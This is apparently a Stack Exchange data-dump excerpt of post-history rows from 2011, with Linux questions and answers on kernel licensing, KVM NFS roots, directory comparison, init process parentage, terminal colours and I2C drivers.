  <row Id="32852" PostHistoryTypeId="2" PostId="13284" RevisionGUID="4352c8e2-0a5d-4d4e-bbc6-dfb08b8ff2f2" CreationDate="2011-05-16T19:20:15.290" UserId="7531" Text="Hello, people.&#xD;&#xA;&#xD;&#xA;I've heard of lines of code that are distributed with the Linux Kernel that aren't open. Maybe some drivers or something like that.&#xD;&#xA;&#xD;&#xA;I'd like to know how much of that is true? Are there lines of code that are distributed with the Kernel (as when you download it from kernel.org) that aren't open at all? And how much that is of the total (if there's a way to know it, number of lines or percentage)?&#xD;&#xA;&#xD;&#xA;And where can I find more information about this? Maybe some articles to read...&#xD;&#xA;&#xD;&#xA;Thank you very much!" />
  <row Id="32853" PostHistoryTypeId="1" PostId="13284" RevisionGUID="4352c8e2-0a5d-4d4e-bbc6-dfb08b8ff2f2" CreationDate="2011-05-16T19:20:15.290" UserId="7531" Text="Proprietary or Closed Parts of the Kernel" />
  <row Id="32854" PostHistoryTypeId="3" PostId="13284" RevisionGUID="4352c8e2-0a5d-4d4e-bbc6-dfb08b8ff2f2" CreationDate="2011-05-16T19:20:15.290" UserId="7531" Text="ékernelà" />
  <row Id="32855" PostHistoryTypeId="2" PostId="13285" RevisionGUID="bdcc50f4-222b-4960-b45c-077cfd268b0f" CreationDate="2011-05-16T19:51:33.280" UserId="7503" Text="how about this:&#xD;&#xA;&#xD;&#xA;    for i in /sys/bus/usb/devices/usb* ; do echo &quot;suspend&quot; &gt; $i/power/level; done&#xD;&#xA;&#xD;&#xA;For debugging purposes, you can add an &quot;echo $i&quot; in there somewhere to let you know which devices are being hit." />
  <row Id="32856" PostHistoryTypeId="2" PostId="13286" RevisionGUID="f15ad08f-cae1-4684-82c2-085c12a6d867" CreationDate="2011-05-16T20:12:31.740" UserId="7278" Text="I'm currently working on an embedded system design and my test development machine is currently a VM running in KVM.  Is it possible to have KVM mount a directory (like a chroot) and use that as the root file system for the VM?&#xD;&#xA;&#xD;&#xA;I currently have the root filesystem in a single sparse file, and I can mount it via loop to a directory, but when making and testing changes it would be much easier to have the root fs in a directory structure on my local machine." />
  <row Id="32857" PostHistoryTypeId="1" PostId="13286" RevisionGUID="f15ad08f-cae1-4684-82c2-085c12a6d867" CreationDate="2011-05-16T20:12:31.740" UserId="7278" Text="KVM with directory rootfs" />
  <row Id="32858" PostHistoryTypeId="3" PostId="13286" RevisionGUID="f15ad08f-cae1-4684-82c2-085c12a6d867" CreationDate="2011-05-16T20:12:31.740" UserId="7278" Text="élinuxàékvmà" />
  <row Id="32859" PostHistoryTypeId="4" PostId="13280" RevisionGUID="06cdbbfe-7730-475a-999c-fd5b825038d3" CreationDate="2011-05-16T20:25:56.333" UserId="2567" Comment="What distribution to use?" Text="Does any Linux distribution has a folder sync option ( like briefcase in windows ) ?" />
  <row Id="32860" PostHistoryTypeId="24" PostId="13280" RevisionGUID="06cdbbfe-7730-475a-999c-fd5b825038d3" CreationDate="2011-05-16T20:25:56.333" Comment="Proposed by 2567 approved by -1 edit id of 376" />
  <row Id="32861" PostHistoryTypeId="5" PostId="13280" RevisionGUID="f8805520-74e3-4ae3-b686-ab6d77d36485" CreationDate="2011-05-16T20:25:57.503" UserId="73" Comment="deleted 3 characters in body; edited title" Text="I want to keep my local folder synchronized with a network folder. Is there any folder synchronization utility or feature in Linux?" />
  <row Id="32862" PostHistoryTypeId="4" PostId="13280" RevisionGUID="f8805520-74e3-4ae3-b686-ab6d77d36485" CreationDate="2011-05-16T20:25:57.503" UserId="73" Comment="deleted 3 characters in body; edited title" Text="Do any Linux distributions have a folder sync option (like briefcase in windows)?" />
  <row Id="32863" PostHistoryTypeId="2" PostId="13287" RevisionGUID="09f34cc9-576c-4df7-ac5f-ac5652d0cdfb" CreationDate="2011-05-16T20:25:57.827" UserId="7255" Text="Does the power strip do anything beyond read the +5V a connected USB port provides? (Do you see anything in `dmesg` when you attach it? Does the output of `lsusb` change after you plug it in?) If not, the kernel may not even recognize that anything is attached. You can't tell a device to suspend if it never enumerates itself: it would never show up under /sys/bus/usb/devices, and with USB you suspend devices, not ports.&#xD;&#xA;&#xD;&#xA;Additionally, from `Documentation/usb/power-management.txt`:&#xD;&#xA;&#xD;&#xA;     power/control&#xD;&#xA;&#xD;&#xA;                This file contains one of two words: &quot;on&quot; or &quot;auto&quot;.&#xD;&#xA;                You can write those words to the file to change the&#xD;&#xA;                device's setting.&#xD;&#xA;&#xD;&#xA;                &quot;on&quot; means that the device should be resumed and&#xD;&#xA;                autosuspend is not allowed.  (Of course, system&#xD;&#xA;                suspends are still allowed.)&#xD;&#xA;&#xD;&#xA;                &quot;auto&quot; is the normal state in which the kernel is&#xD;&#xA;                allowed to autosuspend and autoresume the device.&#xD;&#xA;&#xD;&#xA;                (In kernels up to 2.6.32, you could also specify&#xD;&#xA;                &quot;suspend&quot;, meaning that the device should remain&#xD;&#xA;                suspended and autoresume was not allowed.  This&#xD;&#xA;                setting is no longer supported.)&#xD;&#xA;&#xD;&#xA;So according to that last little statement, if you have a kernel newer than 2.6.32 it sounds like you cannot force a USB device to suspend anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sorry that I can't give you the answer you actually wanted, what you were trying to do sounds pretty neat, but I hope it was helpful.&#xD;&#xA;" />
  <row Id="32864" PostHistoryTypeId="2" PostId="13288" RevisionGUID="3846aaff-e9c0-41f9-9149-8bc2cb4d811b" CreationDate="2011-05-16T18:29:58.960" UserId="6789" Text="I've been hearing about [The GNU PDF Library][1] since [2007][2]. Since then I've been looking forward to see this excelent tool in the wild but four years have passed and it seems to me that this is a painfully long time. I'm aware of the complexities of the project, but as I recall the GNU Foundation have marked it as a top priority project. What is going on?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]: http://www.gnupdf.org&#xD;&#xA; [2]: http://www.linux.com/archive/feed/122195" />
  <row Id="32865" PostHistoryTypeId="1" PostId="13288" RevisionGUID="3846aaff-e9c0-41f9-9149-8bc2cb4d811b" CreationDate="2011-05-16T18:29:58.960" UserId="6789" Text="Is GNU PDF Library in active development?" />
  <row Id="32866" PostHistoryTypeId="3" PostId="13288" RevisionGUID="3846aaff-e9c0-41f9-9149-8bc2cb4d811b" CreationDate="2011-05-16T18:29:58.960" UserId="6789" Text="édevelopmentàépdfàégnuà" />
  <row Id="32867" PostHistoryTypeId="17" PostId="13288" RevisionGUID="4384864a-8e51-4545-bc45-1b5f5cb9c3bc" CreationDate="2011-05-16T20:27:26.187" UserId="-1" Comment="from http://askubuntu.com/questions/43241/is-gnu-pdf-library-in-active-development" Text="" />
  <row Id="32868" PostHistoryTypeId="2" PostId="13289" RevisionGUID="4a9341c3-c3bf-4cb3-b505-4a826914f3f4" CreationDate="2011-05-16T20:45:56.530" UserId="1931" Text="We copy our production code and data files to a testing server on a weekly basis.&#xD;&#xA;I can take hours, and some times it hasn't finished.&#xD;&#xA;&#xD;&#xA;What is the best method to confirm that the directories have been copied correctly from one server to another?&#xD;&#xA;&#xD;&#xA; - I was hoping that `dircmp` could be used, but I don't see that it can be used between servers.&#xD;&#xA; - My second option is to map (link) on of the directories to the other server, and then use `dircmp` on them." />
  <row Id="32869" PostHistoryTypeId="1" PostId="13289" RevisionGUID="4a9341c3-c3bf-4cb3-b505-4a826914f3f4" CreationDate="2011-05-16T20:45:56.530" UserId="1931" Text="Comparing two directories in different servers" />
  <row Id="32870" PostHistoryTypeId="3" PostId="13289" RevisionGUID="4a9341c3-c3bf-4cb3-b505-4a826914f3f4" CreationDate="2011-05-16T20:45:56.530" UserId="1931" Text="ésolarisàérsyncàédiffà" />
  <row Id="32871" PostHistoryTypeId="2" PostId="13290" RevisionGUID="0629791b-6c45-4050-a73f-c3c5b3271237" CreationDate="2011-05-16T20:53:19.903" UserId="7533" Text="I have always learned that the init process is the ancestor of all processes. Why does process 2 have a PPID of 0?&#xD;&#xA;&#xD;&#xA;    $ ps -ef | head -n 3&#xD;&#xA;    UID        PID  PPID  C STIME TTY          TIME CMD&#xD;&#xA;    root         1     0  0 May14 ?        00:00:01 /sbin/init&#xD;&#xA;    root         2     0  0 May14 ?        00:00:00 [kthreadd]" />
  <row Id="32872" PostHistoryTypeId="1" PostId="13290" RevisionGUID="0629791b-6c45-4050-a73f-c3c5b3271237" CreationDate="2011-05-16T20:53:19.903" UserId="7533" Text="init process: ancestor of all processes?" />
  <row Id="32873" PostHistoryTypeId="3" PostId="13290" RevisionGUID="0629791b-6c45-4050-a73f-c3c5b3271237" CreationDate="2011-05-16T20:53:19.903" UserId="7533" Text="éinità" />
  <row Id="32874" PostHistoryTypeId="2" PostId="13291" RevisionGUID="19bdae7f-0731-4a16-9338-c942668ae65e" CreationDate="2011-05-16T20:54:37.910" UserId="4671" Text="Write a list of the md5sums of the files in the directory in some specific order to a file, with, say, one md5sum per line, on both machines. Take the md5sum of that file. If the md5sums are the same, the directories are the same." />
  <row Id="32875" PostHistoryTypeId="2" PostId="13292" RevisionGUID="30f39f76-f2f4-4bdd-a54f-7df728a5ac9c" CreationDate="2011-05-16T20:54:45.143" UserId="885" Text="If your virtual machine has IP connectivity, mount its root filesystem over NFS. (You'll need to have the NFS client driver and its dependencies in the kernel or initrd/initramfs.)&#xD;&#xA;&#xD;&#xA;On the host, install an NFS server and export the directory by declaring it in [`/etc/exports`](http://manpages.ubuntu.com/manpages/lucid/man5/exports.5.html).&#xD;&#xA;&#xD;&#xA;    /path/to/root 10.0.9.0/24(ro,async,no_subtree_check)&#xD;&#xA;&#xD;&#xA;On the guest, read [`nfsroot.txt`](http://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt) in the kernel documentation; in a nutshell, the kernel command line should contain something like&#xD;&#xA;&#xD;&#xA;    root=/dev/nfs nfsroot=10.0.9.1:/path/to/root&#xD;&#xA;" />
  <row Id="32876" PostHistoryTypeId="5" PostId="13288" RevisionGUID="2ac1e7ae-990c-4bf0-96da-0386b6d368ce" CreationDate="2011-05-16T20:56:44.087" UserId="73" Comment="deleted 7 characters in body" Text="I've been hearing about [The GNU PDF Library][1] since [2007][2]. Since then I've been looking forward to seeing this tool in the wild, but four years have passed and it seems to me that this is a painfully long time. I'm aware of the complexities of the project, but as I recall the GNU Foundation have marked it as a top priority project. What is going on?&#xD;&#xA;&#xD;&#xA; [1]: http://www.gnupdf.org&#xD;&#xA; [2]: http://www.linux.com/archive/feed/122195" />
  <row Id="32878" PostHistoryTypeId="2" PostId="13294" RevisionGUID="c182da6a-3ac7-48a1-9330-ebbb06196c95" CreationDate="2011-05-16T21:00:47.027" UserId="885" Text="First, “ancestor” isn't the same thing as “parent”. The ancestor can be the parent's parent's … parent's parent, and the kernel only keeps track of one level.&#xD;&#xA;However, when a process dies, its children are adopted by init, so you will see a lot of processes whose parent is 1 on a typical system.&#xD;&#xA;&#xD;&#xA;Modern Linux systems additionally have a few processes that are started by the kernel, but are managed as user processes, as far as scheduling is concerned. (They don't obey the usual memory management rules: they're running kernel code.) These processes are all spawned by `kthreadd` (it's the init of kernel threads). You can recognize them by their parent process ID (2) or, usually, by the fact that `ps` lists them with a name between square brackets or by the fact that `/proc/2/exe` (normally a symbolic link to the process executable) can't be read.&#xD;&#xA;&#xD;&#xA;Finally, processes 1 (`init`) and 2 (`kthreadd`) are created directly by the kernel, so they don't have a parent. The value 0 is used in their ppid field to indicate that. Think of 0 as meaning “the kernel itself” here.&#xD;&#xA;" />
  <row Id="32879" PostHistoryTypeId="6" PostId="13290" RevisionGUID="44c00a23-5d3e-44d4-86b3-ac21346817a2" CreationDate="2011-05-16T21:02:23.670" UserId="885" Comment="edited tags" Text="élinuxàéprocessàéinità" />
  <row Id="32881" PostHistoryTypeId="5" PostId="13289" RevisionGUID="8965d0f8-f444-44c6-8b8a-ef814ed2a8ab" CreationDate="2011-05-16T21:07:46.360" UserId="4671" Comment="minor corrections" Text="We copy our production code and data files to a testing server on a weekly basis.&#xD;&#xA;It can take hours, and sometimes it hasn't finished.&#xD;&#xA;&#xD;&#xA;What is the best method to confirm that the directories have been copied correctly from one server to another?&#xD;&#xA;&#xD;&#xA; - I was hoping that `dircmp` could be used, but I don't see how it can be used between servers.&#xD;&#xA; - My second option is to map (link) one of the directories to the other server, and then use `dircmp` on them." />
  <row Id="32882" PostHistoryTypeId="24" PostId="13289" RevisionGUID="8965d0f8-f444-44c6-8b8a-ef814ed2a8ab" CreationDate="2011-05-16T21:07:46.360" Comment="Proposed by 4671 approved by 73 edit id of 377" />
  <row Id="32883" PostHistoryTypeId="2" PostId="13295" RevisionGUID="bcdc13d5-7385-4224-b94f-6590ea0ddfcb" CreationDate="2011-05-16T21:09:31.497" UserId="885" Text="Can you do the comparison online? If so, use [rsync](http://rsync.samba.org/) or [unison](http://rsync.samba.org/). Once they've finished running, the directories are identical. If you just want to test without changing anything, run `rsync -vn` and check that no file would be copied.&#xD;&#xA;&#xD;&#xA;If you have no network connectivity, compute a checksum of all the files on both sides and compare that, [as suggested by Faheem](http://unix.stackexchange.com/questions/13289/comparing-two-directories-in-different-servers/13291#13291).&#xD;&#xA;&#xD;&#xA;In fact, if you need to ask this question, there's probably something wrong with your setup. Whatever tool you're using to perform the copy should be telling you if everything was copied properly, by returning 0. If the copying tool returns nonzero or has not completed (yet), assume you don't have a complete copy.&#xD;&#xA;" />
  <row Id="32884" PostHistoryTypeId="2" PostId="13296" RevisionGUID="ad80e107-f164-4aac-8746-a3bba41df5ec" CreationDate="2011-05-16T21:12:13.077" UserId="4485" Text="The kernel is open source. Download the source, compile it yourself. &#xD;&#xA;&#xD;&#xA;There is the possibility to taint your kernel with CS kernel modules. Those modules should be marked as 'tainted', and afaik you should find them with a short command: &#xD;&#xA;&#xD;&#xA;    cat /proc/sys/kernel/tainted&#xD;&#xA;and for more details:&#xD;&#xA;&#xD;&#xA;    grep tainted /var/log/*log &#xD;&#xA;&#xD;&#xA;[More information can be found here.][1]&#xD;&#xA;&#xD;&#xA;[1]: http://www.novell.com/support/viewContent.do?externalId=3582750&amp;sliceId=1" />
  <row Id="32885" PostHistoryTypeId="25" PostId="13289" RevisionGUID="891a6215-0d9c-47fe-aae8-b846baa6b631" CreationDate="2011-05-16T21:12:16.500" Comment="http://twitter.com/#!/StackUnix/status/70235137786388480" />
  <row Id="32886" PostHistoryTypeId="2" PostId="13297" RevisionGUID="6fdbd29f-7f27-4ec2-908c-a37afd525fe6" CreationDate="2011-05-16T21:12:38.433" UserId="4671" Text="There seems to be some activity on http://lists.gnu.org/archive/html/pdf-devel/. Also, see http://gnupdf.org/manuals/gnupdf-hg-manual/html_node/Information-for-Newcomers.html#Information-for-Newcomers for information about cloning their repository. Specifically do&#xD;&#xA;&#xD;&#xA;     $ bzr branch bzr://bzr.savannah.gnu.org/pdf/libgnupdf/trunk&#xD;&#xA;&#xD;&#xA;Looking at the repository is a good way to determine activity. If you have any specific questions, I'm sure the developers would be happy to answer, as long as you ask nicely.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32887" PostHistoryTypeId="2" PostId="13298" RevisionGUID="0e62aaab-66f5-45c0-aa5d-4e620b3983f0" CreationDate="2011-05-16T21:13:32.113" UserId="3459" Text="    Cmnd_Alias      PBUILDER = /usr/sbin/pbuilder,/usr/sbin/cowbuilder&#xD;&#xA;    Defaults!PBUILDER       env_keep+=HOME&#xD;&#xA;&#xD;&#xA;Those lines are from my own `/etc/sudoers` to correct the issue that `pbuilder` looks in `$HOME` for its user config file but must be run as root (moving it to `/root` kinda defeats the purpose of having both a system and a user config file)." />
  <row Id="32888" PostHistoryTypeId="6" PostId="13284" RevisionGUID="b91194b6-7cba-4298-bb9f-5ea1631d9f74" CreationDate="2011-05-16T21:14:21.507" UserId="885" Comment="edited tags" Text="élinuxàékernelàéfreeösoftwareà" />
  <row Id="32889" PostHistoryTypeId="2" PostId="13299" RevisionGUID="1169874a-4786-479f-bd6d-8690aa96f493" CreationDate="2011-05-16T21:27:48.143" UserId="885" Text="The [Linux kernel](http://www.kernel.org/) itself is all free software, distributed under the [GNU General Public License](http://en.wikipedia.org/wiki/GNU_General_Public_License).&#xD;&#xA;&#xD;&#xA;Third parties may distribute closed-source drivers in the form of loadable kernel modules. There's some debate as to whether the GPL allows them; Linus Torvalds has decreed that [proprietary modules are allowed](http://linuxmafia.com/faq/Kernel/proprietary-kernel-modules.html).&#xD;&#xA;&#xD;&#xA;Many device in today's computer contain a processor and a small amount of volatile memory, and need some code to be loaded into that volatile memory in order to be fully operational. This code is called [firmware](http://en.wikipedia.org/wiki/Firmware). Note that the difference between a driver and a firmware is that the firmware is running on a different processor. Firmware makers often only release a binary blob with no code source. Many Linux distributions package non-free firmware separately (or in extreme cases not at all), e.g. [Deb](http://packages.debian.org/firmware-linux-free)[ian](http://packages.debian.org/firmware-linux-nonfree).&#xD;&#xA;" />
  <row Id="32890" PostHistoryTypeId="5" PostId="13297" RevisionGUID="5bf74719-f39a-43e6-8348-dde774c4b932" CreationDate="2011-05-16T21:27:50.470" UserId="4671" Comment="added 167 characters in body" Text="There seems to be some activity on http://lists.gnu.org/archive/html/pdf-devel/. Also, see http://gnupdf.org/manuals/gnupdf-hg-manual/html_node/Information-for-Newcomers.html#Information-for-Newcomers for information about cloning their repository. Specifically do&#xD;&#xA;&#xD;&#xA;     $ bzr branch bzr://bzr.savannah.gnu.org/pdf/libgnupdf/trunk&#xD;&#xA;&#xD;&#xA;Looking at the repository is a good way to determine activity. My two cents are that 929 revisions in slightly less than 4 years isn't so bad. Such projects usually have a shortage of manpower and of course everyone is a volunteer. If you have any specific questions, I'm sure the developers would be happy to answer, as long as you ask nicely.&#xD;&#xA;" />
  <row Id="32891" PostHistoryTypeId="2" PostId="13300" RevisionGUID="b4a909b8-7104-47c8-8460-d55e32458e72" CreationDate="2011-05-16T21:28:55.010" UserId="4671" Text="You can use [iftop](http://www.ex-parrot.com/~pdw/iftop/) to show bandwidth usage. " />
  <row Id="32892" PostHistoryTypeId="5" PostId="13214" RevisionGUID="844bd522-95bf-45b9-9de0-273cf3a2865d" CreationDate="2011-05-16T21:41:46.343" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Number of files per directory](http://unix.stackexchange.com/questions/3733/number-of-files-per-directory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I need to save 1 milion static html files in one directory as there is not possible to group the files into the directories (all files must have path like page-name.html. Already tested with 200 000 fles and seem to be no problem on Linux, but wonder if still won't be problematic with 1 million of static pages?" />
  <row Id="32893" PostHistoryTypeId="10" PostId="13214" RevisionGUID="a27ac147-a7e1-4c0d-a869-d656421f0317" CreationDate="2011-05-16T21:41:45.207" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32894" PostHistoryTypeId="5" PostId="13208" RevisionGUID="d0a23184-6c0d-48db-9a6c-292d90b155e9" CreationDate="2011-05-16T21:42:38.607" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Where should I put software I compile myself?](http://unix.stackexchange.com/questions/30/where-should-i-put-software-i-compile-myself)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello.&#xD;&#xA;&#xD;&#xA;Following [this][1] qustion, is there a recommended prefix for GCC installation under Linux? I am not trying to achieve anything too special, I just want to have the latest version of GCC while keeping everything relatively safe and working...&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/6007857/gcc-installation-prefix-under-linux" />
  <row Id="32895" PostHistoryTypeId="10" PostId="13208" RevisionGUID="cbaff142-dc52-4368-adcd-9e39bc68b58c" CreationDate="2011-05-16T21:42:37.453" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32896" PostHistoryTypeId="5" PostId="13208" RevisionGUID="2a0c427d-e24e-4d27-a9b9-be236f8e6072" CreationDate="2011-05-16T21:42:57.640" UserId="73" Comment="deleted 20 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [Where should I put software I compile myself?](http://unix.stackexchange.com/questions/30/where-should-i-put-software-i-compile-myself)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;Following [this][1] qustion, is there a recommended prefix for GCC installation under Linux? I am not trying to achieve anything too special, I just want to have the latest version of GCC while keeping everything relatively safe and working.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/6007857/gcc-installation-prefix-under-linux" />
  <row Id="32897" PostHistoryTypeId="5" PostId="13232" RevisionGUID="a54654ad-7c58-44ac-8cfd-3340c88b2b47" CreationDate="2011-05-16T21:44:39.527" UserId="73" Comment="deleted 37 characters in body" Text="How can I simulate a key being pressed in a given process on Linux? Xorg isn't running, the inputs are handled by DirectFB&#xD;&#xA;" />
  <row Id="32899" PostHistoryTypeId="14" PostId="13232" RevisionGUID="004c2c14-8e2e-49b2-85b3-6422e1ca1e71" CreationDate="2011-05-16T21:45:01.227" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="32900" PostHistoryTypeId="17" PostId="13232" RevisionGUID="8f0cde35-0788-49e9-829f-8278981c4e69" CreationDate="2011-05-16T21:45:01.227" UserId="73" Comment="to http://stackoverflow.com/questions/6023814/driver-to-simulate-keypresses-into-another-process" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32901" PostHistoryTypeId="10" PostId="13232" RevisionGUID="b9435901-9670-4f37-b061-06cc2c5cba6a" CreationDate="2011-05-16T21:45:00.413" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32902" PostHistoryTypeId="5" PostId="13297" RevisionGUID="9667f9ab-dd50-485d-a644-c59d27b3c576" CreationDate="2011-05-16T21:46:05.890" UserId="4671" Comment="added 242 characters in body; edited body" Text="There seems to be some activity on http://lists.gnu.org/archive/html/pdf-devel/. Also, see http://gnupdf.org/manuals/gnupdf-hg-manual/html_node/Information-for-Newcomers.html#Information-for-Newcomers for information about cloning their repository. Specifically do&#xD;&#xA;&#xD;&#xA;     $ bzr branch bzr://bzr.savannah.gnu.org/pdf/libgnupdf/trunk libgnupdf&#xD;&#xA;&#xD;&#xA;[Bazaar](http://bazaar.canonical.com/) is a distributed version control system, and its command line client is called `bzr`.&#xD;&#xA;Looking at the repository is a good way to determine activity. You can see the logs by changing directory into the repository `libgnupdf` and doing `bzr log -v | less`. My two cents are that 929 revisions in slightly less than 4 years isn't so bad. Such projects usually have a shortage of manpower and of course everyone is a volunteer. If you have any specific questions, I'm sure the developers would be happy to answer, as long as you ask nicely.&#xD;&#xA;" />
  <row Id="32903" PostHistoryTypeId="2" PostId="13301" RevisionGUID="66c406db-7227-41f2-bae2-9e07e62b0ac2" CreationDate="2011-05-16T21:49:32.587" UserId="885" Text="Rather than configure applications to avoid blue on black, I recommend configuring your terminal to make the blue more visible. Most terminal emulators have a setting for that. In xterm, there's an X resource:&#xD;&#xA;&#xD;&#xA;    XTerm.VT100.color4: CornflowerBlue&#xD;&#xA;&#xD;&#xA;In other terminal emulators, look in the configuration file or dialog for color settings or themes.&#xD;&#xA;&#xD;&#xA;There is a common [control sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to set the shade associated with a color number from the application: `OSC 4 ; c ; spec BEL` where `OSC` is `ESC ]`, `c` is the color number and `spec` is a color spec such as #RGB.&#xD;&#xA;&#xD;&#xA;    printf %b '\e]4;4;#6495ed\a'  # set the blue shade to CornflowerBlue&#xD;&#xA;&#xD;&#xA;A change by the application is only effective until the next terminal reset. If you use this method (only recommended if your terminal lacks a configuration mechanism), to make the change effectively persistent, [append the color configuration escape sequence to your terminal's reset string](http://unix.stackexchange.com/questions/5936/can-i-set-my-local-machines-terminal-colors-to-use-those-of-the-machine-i-ssh-in/5937#5937) (termcap: `r1` string; terminfo: `rs1` string).&#xD;&#xA;&#xD;&#xA;See also [Overriding the shade of color displayed](http://unix.stackexchange.com/questions/10712/overriding-the-shade-of-color-displayed), [Can I set my local machine's terminal colors to use those of the machine I ssh into?](http://unix.stackexchange.com/questions/5936/can-i-set-my-local-machines-terminal-colors-to-use-those-of-the-machine-i-ssh-in/5937#5937).&#xD;&#xA;" />
  <row Id="32904" PostHistoryTypeId="5" PostId="12581" RevisionGUID="17d7002b-0e34-4d38-b6a2-994bb8717d39" CreationDate="2011-05-16T22:52:12.127" UserId="885" Comment="s/left/Left/, thanks austinmarton" Text="You can use [xdotool](http://www.semicomplete.com/projects/xdotool/) to manufacture keyboard events. See the manual and the examples for how to target a specific window.&#xD;&#xA;&#xD;&#xA;    xdotool key ctrl+alt+Left&#xD;&#xA;&#xD;&#xA;If this is to trigger a functionality of Gnome or the window manager, there may be a separate command line tool for that. For example [wmctrl](http://tomas.styblo.name/wmctrl/) gets and changes window parameters such as titles, position, etc.&#xD;&#xA;&#xD;&#xA;Similarly, if this to trigger a functionality of a specific application, there may be a way to do this directly. Of course that entirely depends on the application.&#xD;&#xA;" />
  <row Id="32905" PostHistoryTypeId="2" PostId="13302" RevisionGUID="5d1aa07d-06f1-4bef-901f-e323f5147a7a" CreationDate="2011-05-16T23:12:58.193" UserId="2642" Text="On any UNIX system, you can find out which commands and/or shell scripts are used to set the network, by tracing through the sequence that is run by init when the system is started. On just about every flavor of UNIX the config is stored somewhere in /etc.&#xD;&#xA;&#xD;&#xA;On BSD heritage systems the actual file and directory names will be different than on Linux and other System V heritage systems, but they will always have rc in the name. Look in those directories, or files and figure out where the network startup scripts are stored.&#xD;&#xA;&#xD;&#xA;I've used this tactic successfully on everything from AIX to Caldera Linux to OpenBSD. &#xD;&#xA;" />
  <row Id="32906" PostHistoryTypeId="5" PostId="13292" RevisionGUID="8c6e6ece-b324-47b7-a357-aa70d05a434a" CreationDate="2011-05-16T23:14:00.360" UserId="885" Comment="added initramfs recommendation" Text="If your virtual machine has IP connectivity, mount its root filesystem over NFS. (You'll need to have the NFS client driver and its dependencies in the kernel or initrd/initramfs.)&#xD;&#xA;&#xD;&#xA;On the host, install an NFS server and export the directory by declaring it in [`/etc/exports`](http://manpages.ubuntu.com/manpages/lucid/man5/exports.5.html).&#xD;&#xA;&#xD;&#xA;    /path/to/root 10.0.9.0/24(ro,async,no_subtree_check)&#xD;&#xA;&#xD;&#xA;On the guest, read [`nfsroot.txt`](http://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt) in the kernel documentation; in a nutshell, the kernel command line should contain something like&#xD;&#xA;&#xD;&#xA;    root=/dev/nfs nfsroot=10.0.9.1:/path/to/root&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If sharing the directory tree during the VM's run time isn't an absolute requirement, and all you're after is conveniently regenerating your root filesystem before booting the VM, then it would be simple enough to write a small script or makefile that rebuilds the root filesystem image before booting. This is pretty common in embedded development. A convenient choice of root filesystem is [initramfs](http://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt), a variant of [initrd](http://en.wikipedia.org/wiki/Initrd). See also&#xD;&#xA;http://unix.stackexchange.com/questions/4698/how-to-generate-initramfs-image-with-busybox-links.&#xD;&#xA;" />
  <row Id="32907" PostHistoryTypeId="2" PostId="13303" RevisionGUID="5023e87a-6d38-4355-9ffe-088b9577c5ad" CreationDate="2011-05-16T23:15:10.547" UserId="7011" Text="I am trying to port some I2C device drivers I wrote for an other kernel to work with the newer I2C binding model. The kernel documentation goes through the steps of doing this: http://www.mjmwired.net/kernel/Documentation/i2c/upgrading-clients&#xD;&#xA;&#xD;&#xA;The thing that I don't understand is when using this new model, how does one specify the I2C address of the device? It used to be done like this:&#xD;&#xA;&#xD;&#xA;    static unsigned short normal_i2c[] = { 0x67, I2C_CLIENT_END };&#xD;&#xA;&#xD;&#xA;    I2C_CLIENT_INSMOD;&#xD;&#xA;&#xD;&#xA;I don't think my bus/device supports detection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.s. could someone with more rep create a tag for i2c?" />
  <row Id="32908" PostHistoryTypeId="1" PostId="13303" RevisionGUID="5023e87a-6d38-4355-9ffe-088b9577c5ad" CreationDate="2011-05-16T23:15:10.547" UserId="7011" Text="Upgrading I2C client drivers to the newer binding model" />
  <row Id="32909" PostHistoryTypeId="3" PostId="13303" RevisionGUID="5023e87a-6d38-4355-9ffe-088b9577c5ad" CreationDate="2011-05-16T23:15:10.547" UserId="7011" Text="ékernelödriversà" />
  <row Id="32910" PostHistoryTypeId="6" PostId="13303" RevisionGUID="b727a869-7b5e-43f0-be3c-956ffc0e0da5" CreationDate="2011-05-16T23:23:18.340" UserId="2421" Comment="edited tags" Text="élinuxàékernelödriversàéi2cà" />
